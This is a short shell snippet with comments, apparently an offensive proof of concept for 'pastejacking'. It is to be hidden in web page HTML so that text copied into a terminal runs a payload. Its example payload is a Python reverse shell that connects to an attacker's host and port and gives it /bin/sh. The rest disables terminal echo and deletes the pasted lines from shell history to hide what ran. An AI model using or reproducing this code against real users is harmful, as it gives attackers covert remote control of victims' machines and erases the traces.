# Hide this code in HTML that will be copied/pasted using hidden CSS trick from https://lifepluslinux.blogspot.com/2017/01/look-before-you-paste-from-website-to.html # It will execute the payload, and then erase its own lines from both the terminal screen and history (with the current exception of the first line, which will successfully be removed from history, but remain on the screen; still researching how to solve this.) # $PAYLOAD can be a reverse shell like from here http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet # Example: # python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$YOUR_HOST",$YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' stty -echo (eval "$PAYLOAD" & ) && echo -e "\r" history -w && LINE_NUM=$(history | tail -1 | awk -F ' ' '{print $1}' | xargs) && history -d $((LINE_NUM - 1)) && history -d $((LINE_NUM - 1)) && history -d $((LINE_NUM - 2)) && echo -e "\r" && stty echo && echo -e "\r"